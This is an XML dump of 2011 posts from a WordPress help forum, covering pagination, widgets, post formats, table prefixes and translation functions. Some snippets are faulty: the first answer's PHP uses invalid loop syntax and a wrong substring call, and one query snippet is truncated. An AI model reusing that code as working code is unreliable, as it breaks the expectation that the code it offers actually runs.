  <row Id="18741" PostTypeId="2" ParentId="18725" CreationDate="2011-05-30T18:52:22.783" Score="0" ViewCount="" Body="&lt;p&gt;This will help you getting started. I don't know how you would break the query at specific letter and then tell WP that there's another page with more letters, but the following takes 99% of the rest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to post your solution!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'orderby' =&amp;gt; 'title' ) );&#xA;&#xA;// Build an alphabet array&#xA;foreach( range( 'A', 'G' ) as $letter )&#xA;    $alphabet[] = $letter;&#xA;&#xA;foreach( range( 'H', 'M' ) as $letter )&#xA;    $alphabet[] = $letter;&#xA;&#xA;foreach( range( 'N', 'Q' ) as $letter )&#xA;    $alphabet[] = $letter;&#xA;&#xA;foreach( range( 'R', 'Z' ) as $letter )&#xA;    $alphabet[] = $letter;&#xA;&#xA;if ( have_posts() ) &#xA;{&#xA;    while ( have_posts() )&#xA;    {&#xA;        global $wp_query, $post;&#xA;        $max_paged = $wp_query-&amp;gt;query_vars['max_num_pages'];&#xA;        $paged = $wp_query-&amp;gt;query_vars['paged'];&#xA;        if ( ! $paged )&#xA;            $paged = (int) 1;&#xA;&#xA;        the_post();&#xA;&#xA;        $first_title_letter = (string) substr( $post-&amp;gt;post_title, 1 );&#xA;&#xA;        if ( in_array( $first_title_letter, $alphabet ) )&#xA;        {&#xA;            // DO STUFF&#xA;        }&#xA;&#xA;        // Pagination&#xA;        if ( $paged !== (int) 1 )&#xA;        {&#xA;            echo 'First: '._wp_link_page( 1 );&#xA;            echo 'Prev: '._wp_link_page( $paged - 1 );&#xA;        }&#xA;        while ( $i = 1; count($alphabet) &amp;lt; $max_paged; i++; )&#xA;        {&#xA;            echo $i._wp_link_page( $i );&#xA;        }&#xA;        if ( $paged !== $max_paged )&#xA;        {&#xA;            echo 'Next: '._wp_link_page( $paged + 1 );&#xA;            echo 'Last: '._wp_link_page( $max_paged );&#xA;        }&#xA;    } // endwhile;&#xA;} // endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-30T18:52:22.783" CommentCount="1" />
  <row Id="18742" PostTypeId="1" AcceptedAnswerId="18745" CreationDate="2011-05-30T19:09:23.853" Score="2" ViewCount="72" Body="&lt;p&gt;Is there a way I can make text widgets accept PHP? Perhaps something I can add in to functions.php? I'm redesigning my site, and I was wondering why I didn't use widgets at all in my current design, but then I realized it was because I use a lot of PHP in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, one of the &quot;widgets&quot; is a tabbed content area, so I've got the HTML and JavaScript shell for the tabs, but then inside the tabs, I've got PHP calls for the most popular posts, the most recent posts, and the most recent comments. I can't do that with existing widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I could use a plugin, but I'm trying to go light on plugins where possible. Is there something I can just add to functions.php?&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2011-05-30T20:53:01.573" Title="Anything I can add to functions.php to make text widgets accept PHP?" Tags="&lt;php&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="18743" PostTypeId="1" CreationDate="2011-05-30T19:25:06.450" Score="1" ViewCount="61" Body="&lt;p&gt;I am trying to pick up an in-depth understanding of how post-formats relate to posts 'in the database' - i.e. what meta information when compiled together constitutes a post format.  And yes, I do mean a post format (NOT a post type).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the documentation I can find assumes a starting point where post_format is selected from the meta box on the 'New Post' page.  I'm working with a plugin (wootumblog) which uses a custom 'save_post' function, so need to understand more about how this actually works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see several tables involved including *wp_terms* (where the post_format slug is referenced against term_id) and *wp_term_relationships* (where the term_id is referenced against the post_id or object_id as the column is named) but I'm unclear as to whether wp_postmeta needs to be updated or are these two 'terms' tables sufficient for wordpress to work with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically have a problem integrating the wootumblog and wpmu sitewide tags plugins together, and suspect this may be caused by the different protocols they use to save a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems a pretty barren area for documentation, so if someone speaks the post format lingo, it would be really useful to outline how it all works at a 'data' level.&lt;/p&gt;&#xA;" OwnerUserId="5529" LastActivityDate="2011-06-29T22:19:08.977" Title="Post Formats in the context of the Database 'Save Post' function" Tags="&lt;custom-taxonomy&gt;&lt;post-formats&gt;&lt;save-post&gt;" AnswerCount="1" />
  <row Id="18744" PostTypeId="2" ParentId="18694" CreationDate="2011-05-30T19:28:56.403" Score="0" ViewCount="" Body="&lt;p&gt;Try to chmod all your wordpress-related files to 755 and then see if it works.&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2011-05-30T19:28:56.403" />
  <row Id="18745" PostTypeId="2" ParentId="18742" CreationDate="2011-05-30T19:32:18.493" Score="2" ViewCount="" Body="&lt;p&gt;PHP in text widgets involves using eval(), which is evil.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know PHP, stick with static sidebars.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-05-30T20:53:01.573" LastActivityDate="2011-05-30T20:53:01.573" CommentCount="1" />
  <row Id="18746" PostTypeId="1" AcceptedAnswerId="18750" CreationDate="2011-05-30T19:53:54.840" Score="0" ViewCount="51" Body="&lt;p&gt;I have created a custom content type (and taxonomy) for my theme that will mostly replace the default post type. I know as for singles, i can create a template single-customtype.php to handle this but what about for everything else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what about &lt;a href=&quot;http://mywebsite.com/posttype&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite.com/posttype&lt;/a&gt; (is my only option forcing my theme user to create a page and select a template?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what about search, 404, archive and widgets? Would i have to customize them all. I can tell i am missing something huge here but i cant put my finger on it&lt;/p&gt;&#xA;" OwnerUserId="5817" LastActivityDate="2011-05-30T20:38:52.567" Title="handling templates and widgets for custom content types" Tags="&lt;custom-post-types&gt;&lt;templates&gt;" AnswerCount="1" />
  <row Id="18747" PostTypeId="2" ParentId="18427" CreationDate="2011-05-30T20:07:06.773" Score="0" ViewCount="" Body="&lt;p&gt;There is no native mechanism for WP to check for updates from non-official resources. Some plugins/theme have such functionality of their own for themselves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to implement such checks for arbitrary plugins/themes (coded without such in mind) it is not impossible, but will take loads of custom code and handling different possible sources and downloads.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T20:07:06.773" CommentCount="1" />
  <row Id="18748" PostTypeId="2" ParentId="18310" CreationDate="2011-05-30T20:07:29.580" Score="1" ViewCount="" Body="&lt;p&gt;are you using &lt;code&gt;global $query_string;&lt;/code&gt; before the query?&#xA;so that the full line looks like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $query_string; query_posts($query_string . '&amp;amp;cat=-10,-12'); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;alternatively, you could try: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('cat=-10,-12&amp;amp;paged='.get_query_var('paged')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-30T20:07:29.580" />
  <row Id="18749" PostTypeId="2" ParentId="18668" CreationDate="2011-05-30T20:23:43.370" Score="1" ViewCount="" Body="&lt;p&gt;The comment handling is somewhat difficult to follow in code. My educated guess is that you have comment whitelist enabled (&lt;em&gt;Comment author must have previously approved comment&lt;/em&gt;), but since pingbacks are not identifiable by author they are treated as requiring moderation.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T20:23:43.370" />
  <row Id="18750" PostTypeId="2" ParentId="18746" CreationDate="2011-05-30T20:38:52.567" Score="1" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;for search you might need to adjust query to include your custom post type, &lt;code&gt;search.php&lt;/code&gt; template or around that;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;404 page is completely unrelated to post types;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;for archive you use &lt;code&gt;archive-customtype.php&lt;/code&gt; template;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;sidebars/widgets are completely unrelated to post types.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T20:38:52.567" CommentCount="3" />
  <row Id="18751" PostTypeId="2" ParentId="18743" CreationDate="2011-05-30T20:50:37.723" Score="1" ViewCount="" Body="&lt;p&gt;Post format for the post is &lt;code&gt;term&lt;/code&gt; of native &lt;code&gt;post_format&lt;/code&gt; taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be set for the post by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/set_post_format&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;set_post_format()&lt;/code&gt;&lt;/a&gt; function. As with any taxonomy you can also use some deeper level function, but really there is no need. And I definitely don't recommend to try and deal with terms and taxonomies directly in database (sanity at risk).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Core seems to be &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-admin/includes/post.php#L183&quot; rel=&quot;nofollow&quot;&gt;setting it in &lt;code&gt;edit_theme()&lt;/code&gt; function&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T20:50:37.723" CommentCount="5" />
  <row Id="18752" PostTypeId="2" ParentId="18736" CreationDate="2011-05-30T20:54:49.017" Score="0" ViewCount="" Body="&lt;p&gt;The post row in database is much more broad than what post is in admin interface. Extra posts are not something hidden, there are merely instances of things that aren't of &lt;code&gt;post&lt;/code&gt; post type and are not displayed as such (or at all in some cases).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't really need to manage those, WP does that nicely on its own. The one exclusion would probably be &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Post_Revisions&quot; rel=&quot;nofollow&quot;&gt;post revisions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T20:54:49.017" />
  <row Id="18753" PostTypeId="2" ParentId="18732" CreationDate="2011-05-30T21:12:09.740" Score="1" ViewCount="" Body="&lt;p&gt;WP 3.1 introduces &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/set_post_thumbnail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;set_post_thumbnail()&lt;/code&gt;&lt;/a&gt; function, that sets attachment (that you will need to create first, you seem to be on right track with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_attachment&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_atachment()&lt;/code&gt;&lt;/a&gt;) as thumbnail for the post.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T21:12:09.740" CommentCount="1" />
  <row Id="18754" PostTypeId="2" ParentId="18730" CreationDate="2011-05-30T21:12:36.270" Score="1" ViewCount="" Body="&lt;p&gt;Those messages have nothing to do with your plugins or WordPress.  Those are from you PHP.ini file trying to load extensions that are either not there or in the wrong directory.  Usually caused when you upgrade version of PHP and don't change the extension directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have shell access run &lt;code&gt;$ php -V&lt;/code&gt; to get more info.  If your on managed hosting call your host they can and will fix for you.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-30T21:12:36.270" />
  <row Id="18755" PostTypeId="2" ParentId="17914" CreationDate="2011-05-30T21:31:46.687" Score="1" ViewCount="" Body="&lt;p&gt;If I understand correct, you don't want people to upload a custom avatar, but you do want people to be able to link to a custom avatar? (and, if not, a default avatar or gravatar kicks in)&#xA;If that's the case, this article will probably suit your needs &lt;a href=&quot;http://www.billerickson.net/wordpress-custom-avatar/&quot; rel=&quot;nofollow&quot;&gt;http://www.billerickson.net/wordpress-custom-avatar/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2011-05-30T21:31:46.687" CommentCount="1" />
  <row Id="18756" PostTypeId="2" ParentId="18639" CreationDate="2011-05-30T22:15:20.977" Score="1" ViewCount="" Body="&lt;p&gt;Your snippet is a little too verbose to follow (and it's late here) so this is more of an alternate take. I think that forking &lt;code&gt;wp_list_author()&lt;/code&gt; might be overkill here. It would be more elegant to hook inside user search and accurately slice the portion of authors you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some example code I came up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_user_query','offset_authors');&#xA;&#xA;$authors_per_page = 1;&#xA;$current_page = absint(get_query_var('page'));&#xA;&#xA;function offset_authors( $query ) {&#xA;&#xA;    global $current_page, $authors_per_page;&#xA;&#xA;    $offset = empty($current_page) ? 0 : ($current_page - 1) * $authors_per_page;    &#xA;    $query-&amp;gt;query_limit = &quot;LIMIT {$offset},{$authors_per_page}&quot;;&#xA;}&#xA;&#xA;wp_list_authors();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also check out &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;paginate_links()&lt;/code&gt;&lt;/a&gt; function for building pagination.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T22:15:20.977" />
  <row Id="18757" PostTypeId="2" ParentId="11442" CreationDate="2011-05-30T22:38:11.743" Score="0" ViewCount="" Body="&lt;p&gt;As per comment it is hard to answer this without knowing specifics of setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general there are two generic approaches to this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Prevent unwanted terms from being returned by filtering &lt;code&gt;get_terms_args&lt;/code&gt; or other available hooks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Prevent unwanted terms from being saved (or cancel them right after) by hooking somewhere in &lt;code&gt;wp_insert_post()&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The more complex, but possibly much more flexible approach would be to extend &lt;code&gt;wp_xmlrpc_server&lt;/code&gt; server class so that categories served by it are checked against user permissions.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T22:38:11.743" />
  <row Id="18758" PostTypeId="1" CreationDate="2011-05-30T22:45:15.633" Score="1" ViewCount="70" Body="&lt;p&gt;Hi is there a way to pass through a parameter indicating the number of images (thumbnails) displayed on a page? Thanks&lt;/p&gt;&#xA;" OwnerUserId="5818" LastActivityDate="2011-08-15T11:24:37.597" Title="Pass number of images as parameter to NextGen Gallery" Tags="&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" />
  <row Id="18759" PostTypeId="2" ParentId="10295" CreationDate="2011-05-30T22:58:15.290" Score="1" ViewCount="" Body="&lt;p&gt;For the sake of this not haunting unanswered questions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress tries its best to deal with filesystem/permission issues &lt;a href=&quot;http://codex.wordpress.org/Updating_WordPress#Automatic_Update&quot; rel=&quot;nofollow&quot;&gt;when updating&lt;/a&gt; and requests access credentials if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So many issues in this department are more likely to be caused by hosting configuration, rather than WP itself. In this specific case &lt;a href=&quot;http://php.net/manual/en/features.safe-mode.php&quot; rel=&quot;nofollow&quot;&gt;PHP safe mode&lt;/a&gt; was causing issues, which is not suprising given that it is deprecated feature, discouraged to be used by PHP developers.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T22:58:15.290" />
  <row Id="18760" PostTypeId="1" CreationDate="2011-05-30T23:01:04.603" Score="0" ViewCount="105" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I have just deployed &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;the W3 Total Cache plugin&lt;/a&gt; on my dedicated server (&lt;code&gt;moillusions.com&lt;/code&gt;), but am not sure if it works already (server load still high).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have a very important &lt;a href=&quot;http://wordpress.org/extend/plugins/random-redirect/&quot; rel=&quot;nofollow&quot;&gt;random link generator&lt;/a&gt;: &lt;code&gt;moillusions.com/?random&lt;/code&gt; yet am not sure how to exclude this from caching? (so it's always a different link when clicked)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5819" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T06:04:33.430" LastActivityDate="2011-08-30T05:36:49.927" Title="Exclude Random Redirect from caching?" Tags="&lt;plugin-w3-total-cache&gt;&lt;server-load&gt;&lt;plugin-random-redirect&gt;" AnswerCount="1" />
  <row Id="18761" PostTypeId="2" ParentId="14504" CreationDate="2011-05-30T23:16:59.387" Score="1" ViewCount="" Body="&lt;p&gt;As per comment I also see some trouble understanding &lt;code&gt;album&lt;/code&gt; and &lt;code&gt;album media&lt;/code&gt; essence. You are also mixing up terminology a bit with &lt;code&gt;terms&lt;/code&gt; and &lt;code&gt;taxonomies&lt;/code&gt; (&lt;code&gt;term&lt;/code&gt; is item in &lt;code&gt;taxonomy&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am going to focus on your summary and leave to you how to put parts together:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;multiple taxonomy query&lt;/em&gt; - taxonomy queries got much improved in WP 3.1 and now you can construct very elaborate things with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;taxonomy parameters&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;loop within a loop&lt;/em&gt; - easier to say &lt;em&gt;secondary loop&lt;/em&gt;, it doesn't matter where secondary loop is. because it shouldn't influence surroundings in any case. For &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts/1755#1755&quot;&gt;secondary loops either &lt;code&gt;WP_Query&lt;/code&gt; object or &lt;code&gt;get_posts()&lt;/code&gt; function&lt;/a&gt; are appropriate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;custom taxonomies and post types&lt;/em&gt; a little to generic point, there are plenty of nifty related functions. I suppose &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_post_terms()&lt;/code&gt;&lt;/a&gt; sees a lot of usage, when taxonomies are involved.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T23:16:59.387" CommentCount="1" />
  <row Id="18762" PostTypeId="2" ParentId="18760" CreationDate="2011-05-30T23:20:13.283" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What this plugin is supposed to do about server load, if anything?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This depends on caching setup you use, good caching plugins try to intelligently skip obviously dynamic pages with query arguments in URL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T23:20:13.283" CommentCount="7" />
  <row Id="18763" PostTypeId="2" ParentId="18694" CreationDate="2011-05-30T23:39:14.790" Score="1" ViewCount="" Body="&lt;p&gt;This usually happens when the table prefix is manually changed but some changes have been overlooked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your user_meta table and have a look at the meta_key column. Check if fields like wp_capabilities have been changed to use the wp1_ prefix. Also look in your wp1_options table to check that user_roles has been changed to wp1_user_roles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the table prefix is manually changed, the prefixes on these fields in user_meta are often left unchanged:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;capabilities&lt;/p&gt;&#xA;&#xA;&lt;p&gt;user_level&lt;/p&gt;&#xA;&#xA;&lt;p&gt;user_settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;user_settings_time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check them all. You can quickly identify which ones haven't been changed by running this SQL query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM `wp1_usermeta` WHERE `meta_key` LIKE '%wp_%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-30T23:39:14.790" />
  <row Id="18764" PostTypeId="2" ParentId="17511" CreationDate="2011-05-30T23:42:13.540" Score="1" ViewCount="" Body="&lt;p&gt;I think you've hit interesting logic issue in &lt;code&gt;image_get_intermediate_size()&lt;/code&gt;. This function loops through available images and tries to find best possible match for custom dimensions you provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First it attempts to find image as per comment in code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// already cropped to width or height; so use this size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the issue? Not image, perfectly matching dimensions, but image that matches in width or height, with remaining dimension being smaller or equal than required to fit in dimensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your 300&amp;times;200 image has equal height and fits inside 540&amp;times;200 dimension you want (and probably comes earlier in meta data) so WP happily grabs it to use.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Interestingly, the class is displayed with the correct...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No mystery there, class is simply generated from your input, without regard if values make sense and/or available.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T23:42:13.540" CommentCount="6" />
  <row Id="18765" PostTypeId="2" ParentId="18694" CreationDate="2011-05-30T23:48:14.533" Score="1" ViewCount="" Body="&lt;p&gt;Codex under &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL#Altering_Table_Prefixes&quot; rel=&quot;nofollow&quot;&gt;Altering Table Prefixes&lt;/a&gt; lists following &lt;strong&gt;necessary&lt;/strong&gt; query to run to fix users after changing database prefix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE 'newprefix_usermeta' SET 'meta_key' = REPLACE( 'meta_key' , 'oldprefix_', 'newprefix_' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T23:48:14.533" />
  <row Id="18766" PostTypeId="2" ParentId="10847" CreationDate="2011-05-30T23:59:50.253" Score="1" ViewCount="" Body="&lt;p&gt;While this can be done with JS, it might be more tidy to use &lt;code&gt;wp_nav_menu&lt;/code&gt; filter, through which final output of menu is passed before returning/echoing.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-30T23:59:50.253" />
  <row Id="18767" PostTypeId="1" CreationDate="2011-05-31T00:13:38.617" Score="0" ViewCount="40" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php _e( $text, $domain ) ?&amp;gt;&#xA;&#xA;$domain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(string) (optional) Domain to retrieve the translated text&#xA;Default: 'default&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can't understand  the second argument well. when i custom a theme, where the $domain's value shows on the theme, what value should i give it to.? could i write the $domain part optionally?i see some themes using its theme name as the $domain. but the document says &lt;strong&gt;Domain&lt;/strong&gt; to retrieve the translated text.it's not a domain. why? some using other strings which doesn't have any relevance of the theme?&lt;/p&gt;&#xA;" OwnerUserId="1962" LastEditorUserId="1962" LastEditorDisplayName="" LastEditDate="2011-05-31T00:21:55.330" LastActivityDate="2011-05-31T01:32:29.127" Title="can't understand _e function well" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="18768" PostTypeId="2" ParentId="18767" CreationDate="2011-05-31T00:23:36.513" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$domain&lt;/code&gt; is the unique identifier for retrieving translated strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is set in functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php load_theme_textdomain( $domain, $path ) ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;load_theme_textdomain('my_theme', get_template_directory() . '/languages');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php _e( 'Translate this text', 'my_theme' ) ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have a translation file but want't to make it translatable just define the textdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;load_theme_textdomain('my_theme');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-31T01:32:29.127" LastActivityDate="2011-05-31T01:32:29.127" CommentCount="2" />
  <row Id="18769" PostTypeId="1" AcceptedAnswerId="18776" CreationDate="2011-05-31T01:36:18.960" Score="0" ViewCount="141" Body="&lt;p&gt;I've set up my loop-attachment.php to show the gallery of thumbnails above the main, selected image using this code from the WordPress Codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $gallery_shortcode = '[gallery id=&quot;' . intval( $post-&amp;gt;post_parent ) . '&quot; size=&quot;mini-thumbnail&quot; columns=&quot;10&quot;]';&#xA;    print apply_filters( 'the_content', $gallery_shortcode );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if the image has a caption, it shows up underneath its image, throwing off my neat little grid of images. I don't want to turn captions completely off or not use them at all, because after the grid and below the main 960x540 image, I want to do an &quot;Image Summary&quot; kind of section, with the filename, original size, caption, description, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to turn off captions in the above code? The gallery shortcode section of the WordPress Codex doesn't have anything on it.&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2011-05-31T05:41:41.737" Title="Turn off image captions in gallery view?" Tags="&lt;images&gt;&lt;shortcode&gt;&lt;gallery&gt;&lt;captions&gt;" AnswerCount="1" />
  <row Id="18770" PostTypeId="1" CreationDate="2011-05-31T01:53:40.740" Score="0" ViewCount="97" Body="&lt;p&gt;I want to use the query_posts() function to limit the posts to all but the most recent on one of my templates. This is because the most recent post is a featured item alone on it's own page where as the rest of the posts are to be on another page. It was easy enough to display the most recent one on one of my templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('category_name' =&amp;gt; 'Recipe of the Week', 'posts_per_page' =&amp;gt; 1)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically I'd like something like that but to limit it to all but the first post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;John.&lt;/p&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2011-05-31T02:48:06.437" Title="Query posts to get all but the most recent post" Tags="&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="18771" PostTypeId="2" ParentId="18770" CreationDate="2011-05-31T02:00:24.237" Score="1" ViewCount="" Body="&lt;p&gt; 'Recipe of the Week', 'posts_per_page' =&gt; -1, 'offset' =&gt; 1)); ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; this might do it.. just testing.&lt;/p&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2011-05-31T02:00:24.237" CommentCount="3" />
  <row Id="18772" PostTypeId="1" AcceptedAnswerId="18777" CreationDate="2011-05-31T02:05:48.857" Score="0" ViewCount="87" Body="&lt;p&gt;I have created extra field that user can edit on their 'Your Profile' page. The extra field also available on WordPress register page. What I want to ask is, how to add the field to User &gt; Add new page ? So, when admin creates a user, admin also input the user's extra field&lt;/p&gt;&#xA;" OwnerUserId="4322" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-31T06:12:18.197" LastActivityDate="2011-05-31T06:18:12.640" Title="Add extra field when admin create user" Tags="&lt;admin&gt;&lt;users&gt;" AnswerCount="1" />
